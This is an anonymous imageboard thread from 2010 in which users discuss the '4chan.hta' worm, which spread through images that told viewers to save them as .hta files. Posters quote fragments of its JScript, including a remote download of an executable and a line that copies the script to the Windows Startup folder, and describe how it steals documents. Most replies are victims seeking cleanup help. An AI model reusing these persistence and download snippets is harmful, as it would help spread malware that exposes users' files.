What the fuck is this 4chan.hta fuckery?

Do what it says and then run it. Hopefully I'll be able to read some of your documents as the spam script takes flight

You should know better than to fall for shit like this.

Hi, I just did this but nothing seems to happen. How to make it work?

Name: Anonymous 2010-07-20 15:45

It's a trap! What to do now?

Name: Anonymous 2010-07-20 15:53

wtf is it anyway?

Name: Anonymous 2010-07-20 15:55

It changes the pics you upload, right?

Let's start with NOT FUCKING POSTING PICTURES then

Name: Anonymous 2010-07-20 16:03

Well actually it just repeatedly gives me some error message and it's really annoying.

No, it copies posts with pictures (corrupting the pictures to include the viral data in the process) and posts them randomly on the board.

Name: Anonymous 2010-07-20 16:23

I just get this error message over and over again: "imconvert.exe - This application failed to start because CORE_RL_magick_.dll was not found."

Massive failure, but it still manages to annoy me.

Name: Anonymous 2010-07-20 16:23

it's the same cancer as the colored boxes(4chan.js) shit. The problem was solved then by banning very one that had it. So expect the b&hammer!

ATTN: Retards
.hta is an HTML application that runs in the client's web browser and has NO SCRIPT LIMITATIONS, ALLOWING THE PROGRAM FULL ACCESS TO THE CLIENT COMPUTER'S REGISTRY.

God damn you guys are stupid.

Is it dangerous if you save it as a .jpg? There was one picture I liked.

Name: Anonymous 2010-07-20 19:35

Lucky bastard, it downloads and uses imagemagick to hide the script in the picture and to add "save as 4chan.hta, shit bricks" to the pictures.

It's this part of the script in the image:
// Download ImageMagick
var imc;
try {
imc = download("https://develop.participatoryculture.org/trac/democracy/browser/trunk/dtv-binary-kit/
imagemagick/convert.exe?rev=4463&format=raw");

It also starts when you run IE because it adds this line in the registry:
copyname = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup") + "\\4chan.js";

It also grabs random documents from your My documents folder and adds it to the picture, hoping something valuable comes up.

Enjoy.

i second this question.

No, saving it as .hta gives it permission to execute stuff without further questioning. jpg isn't executable, so no problem. Save one of those files as jpg, open in notepad, and look at the sourcecode. You can find the stuff from >>18

So, how do you kill this bitch?

Name: Anonymous 2010-07-20 21:06

So just saving it as .hta means you're screwed?
I knew enough not to double-click it or anything... :/

Name: Anonymous 2010-07-20 21:12

I removed the 4chan file in the "startup" folder.
AVG said this after scan: "Virus found JS/Redir" ; "Moved to Virus Vault"
I also stopped the process in Task Manager
Is it gone from my computer now?

Name: Anonymous 2010-07-20 21:16

So I think I was saved by my own inability to follow instructions...I saved it as 4chan.htaShitbricks then 4chan.hta Shit bricks...  perhaps I even got it right a few times but nothing ever ran when I opened it up

Name: Anonymous 2010-07-20 21:16

Saved an .hta.
I didn't find anything new in my startups.
My processes are all clear of anything suspicious.
Ran MWB. Found a lone trojan. Quarantined and deleted.
Restart. Nothing freaky happens.

I'm paranoid as fuck now.

Name: Anonymous 2010-07-20 21:29

I'm paranoid too, WTF  I expected bricky diarrhea by now..but nothing...disappointing

Name: Anonymous 2010-07-20 22:13

Fortunately for me all I get is the missing .dll message too.
It's only partially bothersome but if there was some way to disable this i'd be much obliged if someone could tell me.

i'm having the same problem. tried clearing the file out in safe mode which stopped it for a while.

having dabbled in coding, i think this is what's screwing us over:

// Copy to startup folder and run from there
if (typeof WSH == "undefined") {
    var copyname;
    try {
        copyname = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup") + "\\4chan.js";
        var copyfile = fs.openTextFile(copyname, 2, 1);
        copyfile.write(scripttext);
        copyfile.close();
    } catch(e) {
        // Run from temp folder if this fails
        copyname = "4chan.js";
        var copyfile = fs.openTextFile(copyname, 2, 1);
        copyfile.write(scripttext);

i tried looking in my registry for that file, but i can't seem to find it. any ideas?
        copyfile.close();

Name: Anonymous 2010-07-20 23:43

okay. i figured it out.
just so the uber newfags don't figure it out, while still protecting fellow innocent lurkers, the answer's in the previous post. access that registry entry, follow the address there, and do basic virus cleanup protocol and you shall be liberated.

Although it sucks helping out the idiots. It's better then having 4chan spammed to hell. Though the site is shit now anyway.

Name: Anonymous 2010-07-28 4:03

I had the image at hand, but didn't save it as it asked, and didn't run it,  but I DID save it as a .bmp.

I'm no newfag, but not a techie, can this be dangerous?

Name: Fugs 2010-07-31 1:31

37, just delete the damned thing and it shouldn't hurt you. It's executed as a IE5 HTML Application, and without the proper extension it WON'T RUN.

Name: Anonymous 2010-08-02 23:53

Please.  Tell me.  What did you think was to happen if you followed the instructions in the image?

Name: Anonymous 2010-08-02 23:53

Will I be affected if im running GNU/Linux?
